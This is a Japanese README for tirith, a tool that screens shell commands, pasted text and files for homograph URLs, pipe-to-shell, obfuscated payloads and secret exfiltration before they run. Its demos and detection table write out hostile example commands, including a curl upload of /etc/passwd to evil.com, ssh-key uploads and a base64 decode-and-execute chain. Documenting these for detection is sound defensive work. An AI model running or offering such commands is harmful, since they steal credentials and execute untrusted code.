開発者とAIエージェント向けのターミナルセキュリティ。ホモグラフURL、パイプ→シェル、ANSIインジェクション、難読化されたペイロード、データの外部流出、悪意あるAIスキル/設定を実行前にインターセプトします。
# tirith
**ブラウザならこれを検知できる。ターミナルではできない。**
<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/11454/e8bf601682b2f9f38e53011dbe66be548699859fd54c0751d7f4639bb49edf6d.png" alt="tirith, terminal security" width="100%" />
</p>
[](https://github.com/sheeki03/tirith/actions/workflows/ci.yml)
[](https://github.com/sheeki03/tirith/stargazers)
[](LICENSE-AGPL)
[Website](https://tirith.sh) | [Docs](https://tirith.sh/docs) | [SKILL.md](https://github.com/sheeki03/tirith/blob/main/SKILL.md) | [Changelog](https://github.com/sheeki03/tirith/blob/main/CHANGELOG.md) | [Releases](https://github.com/sheeki03/tirith/releases)
<a href="https://vercel.com/open-source-program">
<img alt="Vercel OSS Program" src="https://vercel.com/oss/program-badge-2026.svg" />
</a>
<sub>独立したオープンソースプロジェクト。ホスティングは Vercel Open Source Program（Spring 2026 Cohort）の支援を受けています。</sub>
---
違いがわかりますか？```
curl -sSL https://install.example-cli.dev | bash # safe
curl -sSL https://іnstall.example-clі.dev | bash # compromised
```
あなたには見分けられない。あなたのターミナルにも見分けられない。`і` の文字はどちらもキリル文字（U+0456）であり、ラテン文字の `i` ではない。2番目のURLは攻撃者のサーバーに解決される。スクリプトはあなたが気づく前に実行される。
ブラウザは何年も前にこれを解決した。ターミナルは今なお、Unicode、ANSIエスケープ、不可視文字を疑いもなくレンダリングする。AIエージェントは、中身を検査することなくシェルコマンドを実行し、パッケージをインストールする。
**Tirithは門の前に立つ。** コマンド、貼り付けられたコンテンツ、スキャンされたファイルを傍受し、ホモグラフURL、難読化されたペイロード、認証情報の窃取、悪意のあるAIスキル/設定、そして署名済み脅威インテリジェンスデータベースからの既知の悪性パッケージ/ドメイン/IPを、それらが実行される前に検出する。```bash
brew install tirith
```
次に、シェルプロファイルで有効化します:```bash
# zsh
eval "$(tirith init --shell zsh)"
# bash
eval "$(tirith init --shell bash)"
# fish
tirith init --shell fish | source
```
> [!TIP]
> `eval "$(tirith init)"` は現在のシェルを自動検出します（親プロセスを検査し、必要に応じて `$SHELL` にフォールバックします）。明示的な `--shell` フラグが必要なのは、検出を上書きしたい場合だけです。
対話型シェルへの対応は以上です。そのシェルが受け付けるコマンドは、フックが読み込まれ正常に動作している間にチェックされます。実際のブロック動作はシェルとモードによって異なります。インストール後およびアップグレード後に `tirith doctor` を実行し、フックを認可境界として扱う前に [シェルごとの強制](#enforcement-by-shell) をお読みください。クリーンなコマンドは何も表示せず、通常は高速パスを通ります。
[npm](#cross-platform)、[cargo](#cross-platform)、[mise](#cross-platform)、[apt/dnf](#linux-packages)、その[他](#install)からも利用できます。
---
## 動作を見る
**ホモグラフ攻撃、実行前にブロック:**```
$ curl -sSL https://іnstall.example-clі.dev | bash
tirith: BLOCKED
[CRITICAL] non_ascii_hostname, Cyrillic і (U+0456) in hostname
This is a homograph attack. The URL visually mimics a legitimate
domain but resolves to a completely different server.
Bypass: prefix your command with TIRITH=0 (applies to that command only)
```
コマンドは決して実行されない。
**クリーンなURLによるパイプ・トゥ・シェル、警告あり、ブロックなし：**```
$ curl -fsSL https://get.docker.com | sh
tirith: WARNING
[MEDIUM] pipe_to_interpreter, Download piped to interpreter
Consider downloading first and reviewing.
```
警告は stderr に出力されます。コマンドはそれでも実行されます。
**Base64 デコード・実行チェーン、ブロック済み:**```
$ echo payload | base64 -d | bash
tirith: BLOCKED
[HIGH] base64_decode_execute, Base64 decode piped to interpreter
[HIGH] pipe_to_interpreter, Pipe to interpreter: base64 | bash
```
sudo/env ラッパーや PowerShell の `-EncodedCommand` を経由したデコードチェーンも捕捉します。
**認証情報の持ち出し、ブロック済み:**```
$ curl -d @/etc/passwd https://evil.com/collect
tirith: BLOCKED
[HIGH] data_exfiltration, Data exfiltration via curl upload
curl command uploads sensitive data to a remote server
```
curl/wgetのアップロードフラグ、環境変数（`$AWS_SECRET_ACCESS_KEY`）、コマンド置換をすべてカバーします。
**スキャンで検出された悪意のあるスキルファイル：**```
$ tirith scan evil_skill.py
tirith scan: evil_skill.py, 3 finding(s)
[MEDIUM] dynamic_code_execution, exec() near b64decode() in close proximity
[MEDIUM] obfuscated_payload, Long base64 string decoded and executed
[MEDIUM] suspicious_code_exfiltration, HTTP call passes sensitive data as argument
```
JS/Pythonファイルをスキャンして、難読化されたペイロード、動的コード実行、シークレットの外部送信パターンを検出します。
**通常のコマンド、不可視:**```
$ git status
$ ls -la
$ docker compose up -d
```
何もない。出力ゼロ。tirithが動いていることを忘れている。
---
## 検出できるもの
**35カテゴリにわたる244の検出ルール。**
| カテゴリ | 阻止するもの |
|----------|--------------|
| **ホモグラフ攻撃** | ホスト名内のキリル文字/ギリシャ文字の類似文字、punycodeドメイン、混在スクリプトのラベル、類似TLD、紛らわしいドメイン、テキストレベルの紛らわしい文字検出（数学用英数字、同一単語の混在スクリプト） |
| **ターミナルインジェクション** | ANSIエスケープシーケンス、双方向制御文字、ゼロ幅文字、Unicodeタグ、不可視の数学演算子、異体字セレクタ、ハングルフィラー |
| **ステガノグラフィー防御** | 不可視の空白エンコーディング（12種類のUnicode空白バリアント）、モンゴル語母音区切り文字、ハングルフィラー文字、数学用英数字置換、st3ggスタイルのテキストステガノグラフィーへの防御 |
| **パイプ・トゥ・シェル** | `curl \| bash`、`wget \| sh`、`httpie \| sh`、`xh \| sh`、`python <(curl ...)`、`eval $(wget ...)`、および多数のラッパー、デコード、間接パス |
| **Base64デコード・実行** | `base64 -d \| bash`、`python -c "exec(b64decode(...))"`、`powershell -EncodedCommand`、sudo/envラッパーを経由するデコードチェーン |
| **データ流出** | `curl -d @/etc/passwd`、`curl -T ~/.ssh/id_rsa`、`wget --post-file`、環境変数のアップロード（`$AWS_SECRET_ACCESS_KEY`）、コマンド置換による流出 |
| **コードファイルスキャン** | 難読化されたペイロード（`eval(atob(...))`）、動的コード実行（`exec(b64decode(...))`）、JS/Pythonファイル内の`fetch`/`requests.post`によるシークレット流出 |
| **認証情報検出** | AWSキー、GitHub PAT、Stripe/Slack/SendGrid/Anthropic/GCP/npmトークン、秘密鍵ブロック、およびエントロピーベースの汎用シークレット検出 |
| **侵害後行動** | プロセスメモリスキャレンジング（`/proc/*/mem`）、Dockerリモート権限昇格、認証情報ファイルの一掃、TeamPCPおよびUNC1069の侵害後ツール群に対して調整済み |
| **コマンド安全性** | ドットファイルの上書き、機密パスへのアーカイブ展開、クラウドメタデータエンドポイントへのアクセス、プライベートネットワークアクセス |
| **安全でないトランスポート** | シェルにパイプされる平文HTTP、`curl -k`、無効化されたTLS検証、宛先を隠す短縮URL |
| **環境** | プロキシハイジャック、機密環境変数のエクスポート、環境経由のコードインジェクション、インタプリタハイジャック、シェルインジェクション環境 |
| **設定ファイルセキュリティ** | 設定インジェクション、不審なインジケータ、設定内の非ASCII/不可視Unicode、MCPサーバーセキュリティ（安全でない/信頼できない/重複/過度に許容的） |
| **エコシステムの脅威** | Git cloneのタイポスクワット、信頼できないDockerレジストリ、pip/npmのURLインストール、web3 RPCエンドポイント、vet-not-configured |
| **インストールコマンドの安全性** | パイプされたダウンロードから追加されたAPTリポジトリ、`[trusted=yes]` / `--allow-unauthenticated` / `--nogpgcheck` / pacman `SigLevel = Never`（署名チェックの無効化）、生/短縮リモートマニフェストに対する`kubectl apply -f`、信頼できないリポジトリからのHelmチャート、信頼できないリモートソースからのTerraformモジュール、任意のURLからの`brew install`/`tap` |
| **パス分析** | 非ASCIIパス、パス内のホモグリフ、二重エンコーディング |
| **レンダリングコンテンツ** | 隠されたCSS/色コンテンツ、隠されたHTML属性、コメントコンテンツ分析（プロンプトインジェクションはHigh、破壊的コマンドはMedium） |
| **クローキング検出** | サーバーサイドクローキング（ボット対ブラウザ）、クリップボードの隠しコンテンツ、PDFの隠しテキスト |
| **Windows / PowerShell** | `Set-ExecutionPolicy Bypass` / `-ep`、Windows Defenderの除外設定（`Add-MpPreference -Exclusion*`）、インラインの`iex (iwr ...)`ダウンロード・実行 |
| **ターミナル出力防御** | OSC 52クリップボード書き込み、偽プロンプト、OSC 8ハイパーリンクとタイトル/画面クリア操作、コマンドまたはMCPツール出力内のプロンプトインジェクション（生および難読化解除の両方でスキャンされるため、不可視文字、紛らわしい文字、スペース挿入、リートスピーク、短いbase64/hexによる回避も検出される）、および出力データ流出（ビーコンURLまたは「シークレットを読んで送信する」指示） |
| **運用コンテキスト** | ラベル付き本番クラウド/k8sコンテキストおよびSSHホストに対する破壊的コマンド、一致する保存済みプランなしのTerraform / Pulumi / OpenTofu `apply`、危険なsudo昇格、特権付き`docker run` |
| **ワークステーションと永続化** | 緩い権限の認証情報ファイルと平文トークン（`~/.ssh`、`~/.aws`、`.npmrc`）、永続化の足がかり（シェルrc、`authorized_keys`、crontab、LaunchAgents、git `core.hooksPath`）、PATHハイジャックの順序、実行ファイルの来歴、危険なエイリアス、機密環境変数のライフサイクル |
| **影響範囲と相関** | リポジトリを脱出する削除、大量削除、危険なソースからダウンロードされたファイルの実行、シークレット書き込み後のネットワークアクセスや削除後の`git push --force`などのセッションチェーン |
| **信頼、アテステーション、来歴** | 署名済みコマンドカードの不一致、カナリアハニートークンの接触、ペースト元ホストの不一致、呼び出し元オリジン（エージェント）ポリシーの拒否、MCPロックファイルのドリフト、既知の安全なスナップショットに対するAI設定のドリフト |
| **Web3コマンドガード** | Cast / Forge / Hardhat / Solana / Anchorコマンドからのオンチェーン書き込み（同じコマンドが宣言された安全制御も無効にする場合はHigh）、コマンドライン上の生の秘密鍵、キーペア、またはニーモニック素材、およびオペレータの`web3_guard`ポリシーが信頼しないRPCエンドポイントまたは署名者。文法とポリシーのみ：チェーン状態は読まず、トランザクションはシミュレートせず、アドレスのスコアリングも行わない |
| **ウォレット流出** | レビュー済みウォレット、キーストア、ブラウザウォレット、Solanaキーペア素材が証明されたリモートシンクへ流れること。アーカイブ、base64、hex、圧縮、暗号化のステージングホップ、および`xargs` / `find -exec`オペランド昇格を含む。ソースのみの読み取りは意図的に検出対象としない |
| **CIアーティファクトポイズニング** | ビルドアーティファクトをアップロードするフォーク到達可能なワークフローが、トリガーとなった実行にバインドされた特権`workflow_run`ワークフローによって消費され、それが実行、ソース化、PATH変更、公開、またはデプロイする |
---
## tirithが防御しないもの
Tirithはコマンド、ペーストされたテキスト、およびファイルの**構造**を実行前に分析する。これは実行前のゲートであり、ランタイム防御ではなく、以下をカバーしない：
- **一般的なランタイムサンドボックス化：** 通常のシェルフックと`tirith check`は警告またはブロックするが、起動後にコマンドを隔離するものではない。明示的な`capsule run --preset untrusted-project`と強制`pkg install`パスは、サポートされているx86_64 Linuxホスト上でのみフェイルクローズドな封じ込めを提供する。
- **実行後のネットワーク監視：** 起動後にプロセスがネットワーク上で何をするかは対象外。
- **一般的なマルウェア/ペイロード検出：** tirithはアンチウイルスではなく、ペイロードをデトネートしない。構造を分析し、署名済み脅威データベースからの正確なインジケータとアーティファクト/ファイルハッシュにマッチできるが、未知のペイロードがマッチの不在によって良性であると証明されるわけではない。（`tirith run`はダウンロードされたスクリプトの構造をチェックするが、それでも動的マルウェア分析ではない。）
- **特権root/admin攻撃者：** すでにrootまたはadminである者はtirithを簡単にバイパスできる。これは騙された入力に対する防御であり、すでにマシンを掌握している攻撃者に対するものではない。
- **アンチデバッグ/アンチタンパリング：** tirithはリバースエンジニアリングに抵抗せず、ローカル攻撃者から自身のバイナリを保護しない。
- **オンチェーン分析：** Web3ガードはコマンド文法を読む。チェーン状態を読まず、トランザクションをシミュレートせず、ENSを解決せず、アドレスをスコアリングせず、コントラクトを監査せず、メンプールを監視しない。
- **npmアーティファクトファイアウォール：** tirithはnpmコマンド文法とレジストリIDの事実を解析し、プロジェクト自身のnpmに署名と来歴の状態を問い合わせることができる。npmがインストールするtarballのバイトをダウンロード、展開、隔離、またはバインドすることはない。封じ込められたハッシュ固定のアーティファクトファイアウォールはPython専用である。
- **ブラウザフォレンジックまたは監視：** `tirith browser audit`は、拡張機能ソースツリーの明示的な、ワンショット、読み取り専用の整合性監査である。Cookie、履歴、保存されたパスワード、ストレージ、ウォレットデータベース、または`Local State`を決して読まず、何も削除または隔離せず、デーモンも持たない。
- **再現可能なビルド：** `attest`レシートは、ある時点で2つのツリーが何を含んでいたかを記録する。Tirithはビルドを実行せず、出力がソースから来たとは言えない。デプロイレシートはポイントインタイムの測定であり、継続的な監視ではない。
完全な脅威モデルと明示的な非目標については[docs/threat-model.md](https://github.com/sheeki03/tirith/blob/main/docs/threat-model.md)を、tirithが検出、決定、強制、封じ込め、および証明するものの能力ごとの台帳については[docs/enforcement-coverage.md](https://github.com/sheeki03/tirith/blob/main/docs/enforcement-coverage.md)を参照。
---
## 既知の制限
- **シェルフックの脆弱性：** 保護はシェルフックがインストールされアクティブであり続けることに依存する。フックはシェル、シェルバージョン、プロンプトフレームワーク、履歴ツールをまたいで壊れたり、サイレントに劣化したりする可能性がある。`tirith doctor`を実行してライブ状態を確認し、警告のみの劣化に注意する。
- **満杯または読み取り専用の一時ストレージ：** zshとfishはTirithを呼び出す前にスクラッチファイルを通じて入力をキャプチャし、そのファイルが作成できない場合はフェイルクローズドする。したがって、満杯/読み取り専用の`TMPDIR`はすべてのコマンドを拒否する可能性があり、バイナリに到達しないため`TIRITH=0`でも回復できない。[トラブルシューティング](https://github.com/sheeki03/tirith/blob/main/docs/troubleshooting.md)の回復手順に従うこと。
- **プラットフォーム限定の機能：** デーモンモード、`tirith run`、および`tirith fetch`はUnixサーフェスである。`tirith run --no-exec`はそこでは検査ワークフローのままであるが、ライブのリモートスクリプト実行はLinux専用であり、他のすべてのホストではダウンロード前に拒否する。`tirith setup`はクロスプラットフォームであるが、各ホスト統合には独自のプラットフォーム契約がある（例えばClineにはPOSIXとWindowsのラッパーがあり、OpenHandsのブロッキングフックはUnix専用である）。
- **パッケージ名抽出の範囲：** 言語エコシステム（pip、npm/yarn/pnpm/bun、cargo、gem、go、composer、dotnet、mvn/gradle）をカバーし、ディストロのパッケージマネージャ（`apt`、`dnf`、`yum`、`pacman`）はカバーしない。
- **AIエージェントの注意点：** シェルフックの傍受は、フックされた対話型シェルを経由するコマンドのみをガードする。非対話型シェルを生成する、`exec`を直接呼び出す、またはフックがロードされずに実行するエージェントは、そのレイヤーではカバーされない。MCP登録は、呼び出しがゲートウェイを経由してルーティングされない限り協調的である。サポートされているpre-toolフックはホストコマンドを自動的に保留できるが、それはそのホストがそれをロードして尊重した場合のみである。いくつかのホストはフックプロセスがエラーになるとフェイルオープンする。設定ファイルの存在だけでなく、有効なホストを検証すること。
- **ホストフックの障害動作：** Grok Build、Cline、およびOpenHandsは、フックプロセスがクラッシュまたはタイムアウトした場合にツールを許可する。Tirithのアダプタはデフォルトで自身のエラー時に拒否するが、戻らなかったプロセスをホストに尊重させることはできない。固定されたインタプリタが移動した場合はセットアップを再実行し、アップグレードのたびに実際のホストをテストすること。
- **Prime Agent IPythonはソースレベルの抽出：** ガードはシェルエスケープ/マジックと一般的な`os`、`subprocess`、および`pty.spawn`形式をカバーするが、Pythonランタイムサンドボックスではない。以前のセルで定義されたラッパー、`getattr`/`__import__`などのリフレクション、またはプロセスを生成するサードパーティパッケージは、ソースレキサーが証明できるものを脱出する可能性がある。
- **カスタムDLPとマシン出力：** 広範な`dlp_custom_patterns`は現在、再帰的にリダクトされたJSON/MCPプロジェクション内のプロトコル所有の文字列値を書き換える可能性があり、生成された識別子やレシートメタデータを含む。署名済みまたはマシン安定の出力を消費する際は、構造値をマッチしうるパターンを避けること。これはリリース前にフィールド対応のリダクションが必要である。
- **無人インストール承認：** `tirith install --yes`は、パッケージマネージャタスクゲートの無人`require_approval`チャネルとして受け入れられる。これは明示的なオペレータフラグであり、人間のTTY確認の証明ではない。無人実行が不可能でなければならない場合は、ブロッキングタスクポリシーを使用すること。
- **インタプリタ型MCPバインディング：** 正確なインタプリタ型サーバーバインディングは、真の依存関係クロージャを発見する代わりに固定された上限の下でリポジトリツリーをハッシュするため、大きなツリー、シンボリックリンク、または特殊ファイルは起動を拒否する可能性がある。スポーン前に再検証するが、封印されたレビュー済み記述子からインタプリタ入力を実行しない。同一ユーザーによる同時変更はverify-to-loadのギャップとして残る。
- **タスクゲートのカバレッジ：** タスク効果推論はWeb3シェル文法のみをモデル化し、それ以外は何もモデル化しないため、ほぼすべての通常のSHELLコマンドはINCOMPLETEと報告される。`task_gate.mode: enforce`と`action_incomplete_analysis: block`は、シェルエンベロープを送信する5つの境界でそれらを拒否し、常に完全と評価される4つのパッケージおよび設定書き込み境界では何も変更しない。`warn`がデフォルトである。代替の`effects_denied_for_untrusted_sources`は、それらの境界でソースが信頼済みとして扱われることが決してないため、自分で入力したコマンドを含め、すべての所有境界ですべての呼び出しで指定された効果を拒否する。
- **封じ込めはx86_64 Linux：** `tirith capsule run --preset untrusted-project`と強制`tirith pkg install`は、使用可能なLandlock ABIを備えたx86_64 Linuxでのみ強制可能である。他のすべてのホストは、何かがコピーまたはスポーンされる前に拒否し、劣化したフォールバックはない。ドメイン許可リストはどのバックエンドでも提供されていない。
- **ネストされたシェル流出ギャップ：** シンクがその外側にあるネストされたシェル本体内部の機密読み取り、例えば`bash -c "cat <wallet>" | curl -d @- <url>`は現在相関されない。完全に`-c`本体の内側または完全に外側にある同じチェーンは検出される。
- **実行証拠のグレード：** Linux起動は、停止した`exec`遷移、永続状態更新、承認された再開、およびターミナルランチャープルーフがすべて完了した後にのみ確認される。ゲートウェイ呼び出しは、正確に相関された結果によってのみ確認される。タイムアウトまたはキャンセルされたシェル観測と転送されたゲートウェイ呼び出しは、保守的な未解決証拠のままであり、確認された実行にはならない。厳格なシェルレシートは対話型bash、zsh、およびfishで利用可能であり、PowerShellはプリフライトのみのままである。ネイティブLinuxランチャーの動作はLinux CIまたはネイティブLinuxホストで検証する必要があり、ポータブルなソース/ユニットカバレッジもmacOSビルドも代用できない。
- **Web3カバレッジギャップ：** `forge create`はまだエンジンサーフェスでモデル化されていない。いくつかの宣言された`web3_guard`フィールドは解析されるが強制されない。そしてスキーマ2のコマンドカードWeb3バインディングにはまだCLIオーサリングまたはライブエンジン消費パスがない。これらはサイレントな承認ではなく、既知のギャップとして扱うこと。
---
## 脅威インテリジェンス
Tirithはパッケージ、ホスト名、およびIPレピュテーション用の署名済みローカル脅威データベースを同梱している。シェルフックまたは`tirith check`がパッケージインストールまたは不審なインフラ参照を見ると、静的ヒューリスティックのみに依存する代わりに、コマンド実行前に入力をデータベースと照合する。
**署名済みDB**（CIによってビルドされ、ダウンロード時とロード時に検証）：
- [OpenSSF Malicious Packages](https://github.com/ossf/malicious-packages)および[Datadog Security Labs](https://github.com/DataDog/malicious-software-packages-dataset)からの既知の悪意あるパッケージ
- [Feodo Tracker](https://feodotracker.abuse.ch/)（abuse.ch）からの悪意あるIPインフラ
- [ecosyste.ms](https://ecosyste.ms/)からの確認済みタイポスクワットと人気パッケージのベースライン
- ランタイムアドバイザリ相関用の[CISA Known Exploited Vulnerabilities](https://www.cisa.gov/known-exploited-vulnerabilities-catalog)カタログ
ThreatDB v2は正確なアーティファクトSHA-256値、インストール済みファイルハッシュ、悪意あるURL、キャンペーン所属、および行動タグを追加する。署名済みインデックス、アップデータ、コンパイラ、およびローダーは段階的移行中にv1とv2をサポートし、シーケンスロールバックを拒否し、トランザクション的に公開し、更新が不完全または無効な場合は署名済みのlast-known-goodデータベースを保持する。DigitalSideソースは実装されているが、その鮮度と運用契約が承認されるまで意図的に非アクティブである。
**オプションの補足フィード**（ユーザーローカルオーバーレイ）：
- abuse.ch認証キー経由の[URLhaus](https://urlhaus.abuse.ch/)と[ThreatFox](https://threatfox.abuse.ch/)
- [PhishTank](https://phishtank.org/)（Cisco Talos）と[Phishing Army](https://phishing.army/)ブロックリスト
- [Tor Project](https://www.torproject.org/)からのTor出口ノードリスト
**`tirith check`およびデーモンモード中のオプションのライブエンリッチメント：**
- [OSV.dev](https://osv.dev/)アドバイザリ検索（Google OSS）
- [deps.dev](https://deps.dev/)パッケージヘルスシグナル（Google OSS）と[ecosyste.ms](https://ecosyste.ms/)メンテナデータ
- 独自のAPIキーによる[Google Safe Browsing](https://safebrowsing.google.com/) URLレピュテーション```bash
tirith threat-db update # download + verify the signed DB
tirith threat-db status # age, signature, version, entry counts
tirith threat-db health # install, signature, staleness, counts
tirith threat-db sources # list every feed the DB is built from
tirith threat-db explain react # what the DB knows about an indicator
tirith threat-db diff --since 2026-01-01 # count changes since a version/date
```
デフォルトでは、シェルフックと `tirith check` は24時間ごとに軽量なバックグラウンド更新チェックをトリガーします。デーモンモードでは、同じエンリッチメントパスをバックグラウンドでウォームな状態に保ちます。
`threat-db explain` はドメイン、パッケージ名（`name`、`ecosystem:name`、または `name@version`）、あるいはIPv4アドレスを受け付けます。バイナリはエントリごとの履歴を保持しないため、`threat-db diff` はスナップショット間のカテゴリおよびソースごとの件数差分を報告し、変更された正確なエントリは報告しません。すべての `threat-db` コマンドは `--format json` を受け付けます。`threatdb` はエイリアスです。
### パッケージリスクスコアリング
`tirith package risk <ecosystem> <name>` は、`tirith score` がURLをスコアリングするのと同じ方法で、パッケージのサプライチェーン／メンテナーリスクをスコアリングします。つまり、**決定的で完全に説明可能な、名前付き要素の合計**であり、モデルも学習済み重みも使用しません。`tirith package explain <ecosystem> <name>` は要素ごとの導出を追加します。どちらも `--format json` を受け付けます。```bash
tirith package risk npm react # 0/100, a known-popular package
tirith package risk npm reqeusts # high, one edit from a popular name
tirith package explain pypi flask # factor-by-factor derivation
tirith package risk npm left-pad --path ./node_modules/left-pad
tirith package risk --online npm react # also consult the registry API
```
**デフォルトでオフライン。** フラグを指定しない場合、すべてのシグナルはローカルで処理され、ネットワーク呼び出しは発生しません：(1) **名前 対 人気パッケージ**: 既知の人気パッケージ、未知のパッケージ、または人気名への1編集のニアミス（典型的なタイポスクワット/スロップスクワットの形状）で、ローカルの脅威データベースの `popular` セットから判定されます。(2) **既知の悪意あるタイポスクワット**: 脅威DBの `typosquat` インデックスにおける完全一致。(3) **インストール / ライフサイクルスクリプト** および (4) **バンドルされたバイナリブロブ** は、パッケージの内容がローカルで利用可能な場合（`node_modules` / `site-packages` 配下、または `--path` 経由）にのみ検出されます。tirith はパッケージを**決してダウンロードしません**。
```
---
[Read more](https://github.com/sheeki03/tirith)